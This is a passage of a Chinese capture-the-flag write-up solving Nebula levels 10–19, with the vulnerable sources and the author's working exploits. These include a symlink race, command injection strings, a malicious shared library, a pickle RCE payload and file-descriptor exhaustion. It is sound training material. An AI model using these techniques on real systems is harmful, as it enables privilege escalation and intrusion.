if(ffd == -1) {
printf("Damn. Unable to open file\n");
exit(EXIT_FAILURE);
}
rc = read(ffd, buffer, sizeof(buffer));
if(rc == -1) {
printf("Unable to read from file: %s\n", strerror(errno));
exit(EXIT_FAILURE);
}
write(fd, buffer, rc);
printf("wrote file!\n");
} else {
printf("You don't have access to %s\n", file);
}
}
解題思路
1、分析代碼,我們可以看出程序首先用access()函數判斷當前用戶是否有操作文件的權限,有的話則執行相關操作即上傳文件,否則就會輸出"You don't have access to <文件名>",access()函數的具體詳細說明如下圖
2、繼續分析代碼,這段代碼建立了一個socket連接,連接到18211端口上,然后發送一個“banner”(內容是”.oO Oo.\n”),之后open指定的文件,如果打開成功,就把內容發送到建立的通信連接中
3、這個程序的漏洞在於access()函數和open()函數是通過文件路徑名作為參數的,而這個路徑可能是一個鏈接文件。假設access一個/tmp/zjj文件,而在access操作之后、open操作之前,/tmp/zjj被替換成了一個指向其他文件(如/etc/passwd)鏈接文件,,並且這個進程有對/etc/passwd操作的權限,那么它最終所操作的並不是真正的/tmp/zjj,而是/etc/passwd;基於以上,我們有大致的攻擊思路:首先在本地監聽18211端口,然后讓flag10程序去access一個當前用戶有權限訪問的文件(/tmp/zjj),最后刪除掉/tmp/zjj,重新建立一個指向/home/flag10/token的鏈接文件
4、在終端1中用nc監聽18211端口,其中-k
參數表示在連接結束之后強制保持連接狀態
5、在終端2下(按Ctrl+Fn+Alt+F2切換),建立一個文件/tmp/zjj,再寫一個不斷建立軟鏈接的bash腳本jj,對此腳本加入可執行權限並執行
6、在終端3的/tmp目錄下建立腳本yy,對此腳本加入可執行權限並執行
7、返回終端1,查看nc收到的信息,得到token即flag10的登錄密碼;登錄flag10賬號后,執行getflag即可過關~
level11——任意文件可執行漏洞
題目
The /home/flag11/flag11 binary processes standard input and executes a shell command.
There are two ways of completing this level, you may wish to do both
源代碼
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
/*
* Return a random, non predictable file, and return the file descriptor for it.
*/
int getrand(char **path)
{
char *tmp;
int pid;
int fd;
srandom(time(NULL));
tmp = getenv("TEMP");
pid = getpid();
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
'A' + (random() % 26), '0' + (random() % 10),
'a' + (random() % 26), 'A' + (random() % 26),
'0' + (random() % 10), 'a' + (random() % 26));
fd = open(*path, O_CREAT|O_RDWR, 0600);
unlink(*path);
return fd;
}
void process(char *buffer, int length)
{
unsigned int key;
int i;
key = length & 0xff;
for(i = 0; i < length; i++) {
buffer[i] ^= key;
key -= buffer[i];
}
system(buffer);
}
#define CL "Content-Length: "
int main(int argc, char **argv)
{
char line[256];
char buf[1024];
char *mem;
int length;
int fd;
char *path;
if(fgets(line, sizeof(line), stdin) == NULL) {
errx(1, "reading from stdin");
}
if(strncmp(line, CL, strlen(CL)) != 0) {
errx(1, "invalid header");
}
length = atoi(line + strlen(CL));
if(length < sizeof(buf)) {
if(fread(buf, length, 1, stdin) != length) {
err(1, "fread length");
}
process(buf, length);
} else {
int blue = length;
int pink;
fd = getrand(&path);
while(blue > 0) {
printf("blue = %d, length = %d, ", blue, length);
pink = fread(buf, 1, sizeof(buf), stdin);
printf("pink = %d\n", pink);
if(pink <= 0) {
err(1, "fread fail(blue = %d, length = %d)", blue, length);
}
write(fd, buf, pink);
blue -= pink;
}
mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
if(mem == MAP_FAILED) {
err(1, "mmap");
}
process(mem, length);
}
}
解題思路
1、通過之前的練習,我們可以大致判斷出函數system()是危險的,因此我們着重注意process函數;process函數中system的參數來自於buffer變量的內容,並且在system執行之前,程序對buffer里的數據做了一次異或運算,利用異或兩次即復原的特性,我們可以編寫如下的攻擊代碼
#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int length = 1024;
char *cmd = "getflag"; // 要執行的命令
char buf[1024];
int key = length & 0xff;
int i = 0;
strncpy(buf,cmd,1024); // 把“ getflag” 字符串拷貝到 buf 里,其余空間空字節填充
for(; i<length; i++)
{
buf[i] ^= key;
key = key - (buf[i] ^ key); // 一定要 buf[i]^key 才可得到正確的 key ,上面那句代碼才可正確執行
}
puts("Content-Length: 1024"); // 輸出至標准輸出
fwrite(buf,1,length,stdout);
return 0;
}
2、在getrand函數里tmp = getenv("TEMP");
說明需要環境變量TEMP,所以要先設置一個名叫“TEMP”的環境變量
3、執行攻擊成功~
level12——攻擊Lua腳本
題目
There is a backdoor process listening on port 50001.
源代碼
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1", 50001))
function hash(password)
prog = io.popen("echo "..password.." | sha1sum", "r")
data = prog:read("*all")
prog:close()
data = string.sub(data, 1, 40)
return data
end
while 1 do
local client = server:accept()
client:send("Password: ")
client:settimeout(60)
local line, err = client:receive()
if not err then
print("trying " .. line) -- log from where ;\
local h = hash(line)
if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
client:send("Better luck next time\n");
else
client:send("Congrats, your token is 413**CARRIER LOST**\n")
end
end
client:close()
end
解題思路
1、雖然是我們沒學過的lua語言,但憑借英語理解,我們可以大概知道這個程序大致是通過socket建立連接,要求用戶輸入密碼,然后將密碼加密后與密文 “4754a4f4bd5787accd33de887b9250a0691dd198”進行對比
2、客戶端通過local line, err = client:receive()
接受輸入的密碼,然后調用local h = hash(line)
,此程序的漏洞在於hash 函數里加密方式是通過調用shell命令prog = io.popen("echo "..password.." | sha1sum", "r")
來完成的
3、使用nc連接,並嘗試在輸入密碼時進行命令注入,攻擊成功~
Level13——再次竊取 token
題目
There is a security check that prevents the program from continuing execution if the user invoking it does not match a specific user id.
源代碼
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/types.h>
#include <string.h>
#define FAKEUID 1000
int main(int argc, char **argv, char **envp)
{
int c;
char token[256];
if(getuid() != FAKEUID) {
printf("Security failure detected. UID %d started us, we expect %d\n", getuid(), FAKEUID);
printf("The system administrators will be notified of this violation\n");
exit(EXIT_FAILURE);
}
// snip, sorry :)
printf("your token is %s\n", token);
}
解題思路
1、這段程序通過getuid獲得當前用戶的uid與FAKEUID做比較,FAKEUID是一個宏,值為1000,只要uid=1000的用戶才可以讀取token,顯而易見,這題要想通過必須修改uid,或者說當getuid調用時,getuid得到的uid為1000
2、這里需要用到逆向工程的知識,一般函數的返回值存放在eax寄存器里的,getuid函數調用后,eax寄存器里就是當前用戶的uid,因此我們可以使用gdb調試這個程序,修改eax的內容
3、反匯編main函數,我們可以在判斷語句cmp $0x3e8,%eax
處下個斷點
4、查看斷點處的eax寄存器,可以看到當前用戶的uid是1014,接着就是修改eax的值為1000,讓程序繼續運行,即可顯示出token啦
5、使用獲取的token登錄flag13賬號,執行getflag成功過關~
level14——破解加密程序
題目
This program resides in /home/flag14/flag14. It encrypts input and writes it to standard output. An encrypted token file is also in that home directory, decrypt it
解題思路
1、通過題目提示,我們可以得知flag14是個加密程序,題目需要破解用flag14加密過的token文件,所以我們可以先用flag14加密一些數據,試圖看出它的加密原理
2、多試幾組數據后,我們大概可以知道這個加密算法的思路就是第0位的字符加0,第1位的字符加1,...,第i位的字符加i,以此類推,知道加密原理后,我們可以直接編寫解密程序
#include <stdio.h>
#include <string.h>
int main()
{
char buf[1000];
scanf("%s", buf);
int i;
for (i = 0; i < strlen(buf); i++) {
buf[i] -= i;
}
puts(buf);
return 0;
}
3、執行上面編寫的程序即成功解密token,然后用它登錄flag14賬號執行getflag即可過關~
Level15——動態鏈接庫劫持
題目
strace the binary at /home/flag15/flag15 and see if you spot anything out of the ordinary. You may wish to review how to “compile a shared library in linux” and how the libraries are loaded and processed by reviewing the dlopen manpage in depth.
解題思路
1、根據題目的提示,我們需要用strace命令跟蹤flag15的系統調用情況,然后根據它調用的動態鏈接庫來劫持它
2、使用strace ./flag15
命令跟蹤系統調用情況,發現這個程序大量讀取libc.so.6動態庫,但是進入目錄后沒有發現,因此我們的思路是自己寫一個有惡意指令的libc.so.6,當flag15調用libc.so.6時,完成劫持操作
3、在攻擊前,我們需要了解下Linux動態鏈接庫的一點預備知識,Linux動態鏈接庫的入口函數是_init,但因為_init函數是在gcc命令編譯時自動加入的,我們無法對其進行重載,不過我們可以利用gcc的一個特性,讓程序在執行_init函數之前,先執行帶有__attribute ((constructor))的函數
4、使用objdump -p flag15 | grep RPATH
命令可以看出我們對/var/tmp有寫入權限,因此在/var/tmp里創建一個目錄flag15,並在此目錄下編寫如下的 libc.c,然后使用命令gcc -fpic -shared libc.c -o libc.so.6
生成動態鏈接庫
#include <stdio.h>
void __attribute__((constructor)) init()
{
system("/bin/getflag");
}
5、在/home/flag15文件夾下執行flag15程序,報錯提示需要定義一個__cxa_finalize函數以及glibc的版本有問題
6、我們需要在libc.c中添加一個__cxa_finalize函數的定義,同時為了避免glibc的版本問題,可以在生成鏈接庫的時候使用-nostdlib
參數,表示不連接系統標准啟動文件和標准庫文件,但因此我們也不能直接調用系統的system()函數,所以還得用匯編語言自己實現了一個system函數
.section .text
.globl system
system:
mov $getflag, %ebx
xor %edx, %edx # 異或清空 edx ,作為空參數
push %edx
push %ebx
mov %esp, %ecx
mov $11, %eax # 調用 execve 中斷
int $0x80
.section .data
getflag: .ascii "/bin/getflag\0"
7、重新編譯生成動態鏈接庫,執行./flag15,成功過關~
Level16——再次攻擊Perl腳本可執行任意文件漏洞
題目
There is a perl script running on port 1616.
源代碼
#!/usr/bin/env perl
use CGI qw{param};
print "Content-type: text/html\n\n";
sub login {
$username = $_[0];
$password = $_[1];
$username =~ tr/a-z/A-Z/; # conver to uppercase
$username =~ s/\s.*//; # strip everything after a space
@output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
foreach $line (@output) {
($usr, $pw) = split(/:/, $line);
if($pw =~ $password) {
return 1;
}
}
return 0;
}
sub htmlz {
print("<html><head><title>Login resuls</title></head><body>");
if($_[0] == 1) {
print("Your login was accepted<br/>");
} else {
print("Your login failed<br/>");
}
print("Would you like a cookie?<br/><br/></body></html>\n");
}
htmlz(login(param("username"), param("password")));
解題思路
在正式解題之前,我們要直面這道關卡必須用到虛擬機ip地址的事實~結合網上相關資料,明白是由於虛擬機缺乏eth0網卡導致的,最終通過把/etc/network/interface
中的eth0全部改成eth1從而獲得ip地址
1、分析代碼,我們可以看出這段腳本實現了一個簡單的登錄認證,先接受傳來的username和password,然后將參數中的英文轉換成大寫並過濾掉空格,接着通過調用外部shell命令egrep進行判斷,並把結果存儲到數組@output中,最后再遍歷數組,判斷登錄是否成功
2、同樣此程序的漏洞出現在調用外部shell命令 @output = `egrep "^$username" /home/flag16/userdb.txt 2>&1`;
中,為了防止我們隨意填寫$username,程序提前將該參數的字母全部轉換成大寫,而Linux默認是區分大小寫的,因此若想有效地執行其它命令,則需要把username轉換成小寫,shell中使用“${變量名,,}”
即可將變量名轉換成小寫。
3、由於egrep后面有引號,因此我們注入命令需要閉合引號,並且用/dev/null為egrep構造一個需要的輸入,最終我們構造的注入用戶名為"</DEV/NULL;CMD=/TMP/ZJJ;${CMD,,};#
,其中/tmp/zjj
是一個內容如下的可執行腳本文件
#! /bin/bash
/bin/getflag > /tmp/flag16
4、使用在線編碼工具轉換構造的用戶名,使用主機瀏覽器訪問192.168.1.181:1616/index.cgi?username=%22%3C%2FDEV%2FNULL%3BCMD%3D%2FTMP%2FZJJ%3B%24%7BCMD%2C%2C%7D%3B%23&password=123
,提交之后,虛擬機出現新的文件/tmp/flag16,攻擊成功~
Level17——Python的 pickle格式可執行腳本漏洞
題目
There is a python script listening on port 10007 that contains a vulnerability.
源代碼
#!/usr/bin/python
import os
import pickle
import time
import socket
import signal
signal.signal(signal.SIGCHLD, signal.SIG_IGN)
def server(skt):
line = skt.recv(1024)
obj = pickle.loads(line)
for i in obj:
clnt.send("why did you send me " + i + "?\n")
skt = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
skt.bind(('0.0.0.0', 10007))
skt.listen(10)
while True:
clnt, addr = skt.accept()
if(os.fork() == 0):
clnt.send("Accepted connection from %s:%d" % (addr[0], addr[1]))
server(clnt)
exit(1)
解題思路
1、腳本首先建立監聽端口10007的socket連接,然后接受客戶端發送的數據並使用pickle.loads處理,因此我們需要先了解下Python提供的pickle模塊:該模塊把對象按照一定的格式保存在文件中,在另外的腳本中使用pickle.load或者pickle.loads即可重新使用這些對象,load和loads函數不同之處是load處理存儲在文件里的pickle格式數據,loads則是處理字符串表達的pickle格式的數據
2、我們可以用例子來加深對pickle模塊的理解,首先編寫一個腳本a.py對字符串zjj
進行序列化,並存儲在/tmp/level17中,然后再編寫一個腳本b.py對/tmp/level17里的字符串反序列化並輸出
3、分析一下/tmp/level7的內容,我們大概可以理解成S’字符串’
就是生成一個字符串,p0
是代表沒有其它參數即結束;由此我們可以設想使用pickle.loads方法反序列化被我們精心構造的數據,即希望執行的python腳本內容如下
import os
system('getflag > /tmp/flag17)
4、編寫一個文件/tmp/exp,保存如下的序列化數據,其中操作碼c表示使用模塊os,(S’參數’
用於將參數壓入棧,官方叫它MARK對象, tR操作碼大概就是從棧頂開始彈出所有值,包括MARK對象, 最后”.”是pickle結束標志
cos
system
(S'getflag>/tmp/flag17'
tR.
5、最后將exp文件傳給正在監聽的10007端口,攻擊成功~
Level18——資源未釋放漏洞
題目
Analyse the C program, and look for vulnerabilities in the program. There is an easy way to solve this level, an intermediate way to solve it, and a more difficult/unreliable way to solve it.
源代碼
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
#include <fcntl.h>
#include <getopt.h>
struct {
FILE *debugfile;
int verbose;
int loggedin;
} globals;
#define dprintf(...) if(globals.debugfile) \
fprintf(globals.debugfile, __VA_ARGS__)
#define dvprintf(num, ...) if(globals.debugfile && globals.verbose >= num) \
fprintf(globals.debugfile, __VA_ARGS__)
#define PWFILE "/home/flag18/password"
void login(char *pw)
{
FILE *fp;
fp = fopen(PWFILE, "r");
if(fp) {
char file[64];
if(fgets(file, sizeof(file) - 1, fp) == NULL) {
dprintf("Unable to read password file %s\n", PWFILE);
return;
}
if(strcmp(pw, file) != 0) return;
}
dprintf("logged in successfully (with%s password file)\n",
fp == NULL ? "out" : "");
globals.loggedin = 1;
}
void notsupported(char *what)
{
char *buffer = NULL;
asprintf(&buffer, "--> [%s] is unsupported at this current time.\n", what);
dprintf(what);
free(buffer);
}
void setuser(char *user)
{
char msg[128];
sprintf(msg, "unable to set user to '%s' -- not supported.\n", user);
printf("%s\n", msg);
}
int main(int argc, char **argv, char **envp)
{
char c;
while((c = getopt(argc, argv, "d:v")) != -1) {
switch(c) {
case 'd':
globals.debugfile = fopen(optarg, "w+");
if(globals.debugfile == NULL) err(1, "Unable to open %s", optarg);
setvbuf(globals.debugfile, NULL, _IONBF, 0);
break;
case 'v':
globals.verbose++;
break;
}
}
dprintf("Starting up. Verbose level = %d\n", globals.verbose);
setresgid(getegid(), getegid(), getegid());
setresuid(geteuid(), geteuid(), geteuid());
while(1) {
char line[256];
char *p, *q;
q = fgets(line, sizeof(line)-1, stdin);
if(q == NULL) break;
p = strchr(line, '\n'); if(p) *p = 0;
p = strchr(line, '\r'); if(p) *p = 0;
dvprintf(2, "got [%s] as input\n", line);
if(strncmp(line, "login", 5) == 0) {
dvprintf(3, "attempting to login\n");
login(line + 6);
} else if(strncmp(line, "logout", 6) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "shell", 5) == 0) {
dvprintf(3, "attempting to start shell\n");
if(globals.loggedin) {
execve("/bin/sh", argv, envp);
err(1, "unable to execve");
}
dprintf("Permission denied\n");
} else if(strncmp(line, "logout", 4) == 0) {
globals.loggedin = 0;
} else if(strncmp(line, "closelog", 8) == 0) {
if(globals.debugfile) fclose(globals.debugfile);
globals.debugfile = NULL;
} else if(strncmp(line, "site exec", 9) == 0) {
notsupported(line + 10);
} else if(strncmp(line, "setuser", 7) == 0) {
setuser(line + 8);
}
}
return 0;
}
解題思路
1、通讀代碼,可以知道主要實現如下:程序首先查看兩個參數,-d
能夠將日志記錄到提供的文件中,-v
增加詳細級別;然后程序啟動並將詳細級別寫入調試文件,並且為二進制程序設置EUID權限,接着程序開始接收輸入
- 登錄 :如果讀取/home/flag18/password文件失敗,程序就會登錄到用戶
- 注銷 :清除globals.loggedin標志
- shell:當globals.loggedin=1條件滿足即用戶登錄成功,它會執行一個shell命令
execve("/bin/sh", argv, envp);
- closelog:關閉日志文件描述符並停止記錄
- site exec:調用notsupported函數,其中存在格式字符串漏洞(dprintf(what))
2、這個程序的關鍵漏洞在於login函數中調用了fopen(),但並沒有調用fclose()釋放資源;Linux默認情況下,一個進程只可以打開1024個句柄(可以通過ulimit -n命令查看),由於是個交互式程序,程序將不斷接受用戶輸入的指令,每調用一次login執行,就會消耗一個句柄,等到句柄消耗完畢就會導致fp返回空進而登錄用戶
3、因為Linux的標准輸入stdin、輸出stdout和錯誤stderr各需要一個句柄,所以實際可供使用的句柄只有1021個; 編寫一個輸出1021個“login zjj”命令的腳本:
for i in {0..1020};
do
echo 'login zjj'>>/tmp/login;
done;
之后再執行cat /tmp/login | /home/flag18/flag18 -d /tmp/debug
,其中-d參數是輸出信息到指定的文件中
4、根據/tmp/debug中的內容,我們可以看出登錄成功了,接着就可以追加一個“shell”命令,不過在“shell”命令執行前,我們需要先執行closelog命令釋放一個句柄,基於以上,在/tmp/login中加入closelog和shell
5、-d參數出現錯誤,查閱bash的手冊頁資料我們知道這是bin/sh接受參數時的問題,加上–-rcfile
即可解決
6、新的錯誤(漏洞)來了,提示找不到Starting命令,由前面攻擊環境變量的練習我們可以聯想到在/tmp目錄里新建一個可執行腳本Starting,該腳本內容是將getflag的輸出重定向到/tmp/output中,然后將/tmp路徑添加到環境變量下
7、再次運行程序,/tmp目錄下多了output文件,攻擊成功~
Level19——進程的突破
題目
There is a flaw in the below program in how it operates.
源代碼
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>
int main(int argc, char **argv, char **envp)
{
pid_t pid;
char buf[256];
struct stat statbuf;
/* Get the parent's /proc entry, so we can verify its user id */
snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());
/* stat() it */
if(stat(buf, &statbuf) == -1) {
printf("Unable to check parent process\n");
exit(EXIT_FAILURE);
}
/* check the owner id */
if(statbuf.st_uid == 0) {
/* If root started us, it is ok to start the shell */
execve("/bin/sh", argv, envp);
err(1, "Unable to execve");
}
printf("You are unauthorized to run this program\n");
}
解題思路
1、這段程序的流程是這樣的:
- 先通過getppid()函數得到父進程pid號
- 根據pid號找到/proc下當前pid號的目錄
- 如果屬於root,就執行shell
2、解題前先了解下Linux中的進程父子關系:當子進程銷毀時,父進程需要回收它;如果在子進程執行完畢之前,父進程因為種種原因被銷毀了,那么子進程就變成了孤兒進程,收養它的是init進程,init進程是Linux啟動時創建的第一個進程,是所有進程的父進程,具有root權限
3、突破這段程序的方法就是寫一段代碼,fork一個進程,並且在fork出的子進程執行完畢之前,將父進程結束掉,這樣init進程就會接子進程,子進程也就自然擁有root權限
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
int main(void)
{
pid_t pid;
pid = fork();
char *argvs[] = {"/bin/sh","-c","getflag>/tmp/flag19",NULL}; // 將 getflag 的內容重定向到 /tmp/flag19 中
if(pid == 0) // 如果 pid==0 ,則是子進程
{
execve("/home/flag19/flag19",argvs,NULL);
}else if(pid > 0){ // 返回給父進程時,直接結束父進程,子進程就成了孤兒進程了
exit(0);
}
return 0;
}
4、運行程序后,有新生成的/tmp/flag19文件,通關成功!
體會總結
-
前面幾關都是利用代碼中的小漏洞或是使用一些小技巧(軟連接、修改環境變量等)獲得權限的,對我而言真正有難度的關卡是從level09開始的,這關是攻擊PHP代碼的,無論是代碼本身的語言還是里面用到的正則表達式知識,我都比較薄弱,雖然在教程的幫助下成功過關了,但深挖起來還有一些邏輯上不能理解的細節
-
level10漏洞的原理我覺得還比較有意思,它是一個經典文件訪問競態條件漏洞,也可稱作為“TOCTOU漏洞“—— time of check,time of use。在早期的單處理操作系統中,這樣的代碼可能是嚴謹的,因為單處理的話,進程執行完畢后才發生切換。但是在多任務的操作系統中有這樣一個問題:在用access檢查文件后,這個程序可能受到其他程序的干擾或者發生進程切換,在進程發生切換之后,進程失去了執行流程,並且在它還未再次獲得執行時,它操作的文件發生改變。
-
許多關卡比如level11、level18官方提示都有多種解法,但因為水平限制,我做出來的都是比較簡單的那一種,所以針對這套題還是有一定再挖掘空間的~
-
level15在我看來也是比較有趣的一道關卡,不僅要用到Linux動態鏈接庫的相關知識,最終攻擊成功還需要自己用匯編語言編寫system()函數;除此之外level17是使用了序列化與反序列化的相關知識,level19是利用“孤兒進程”的特性……整套練習做下來還是能學到很多以前未曾接觸的知識點的,總而言之,學習之路任重道遠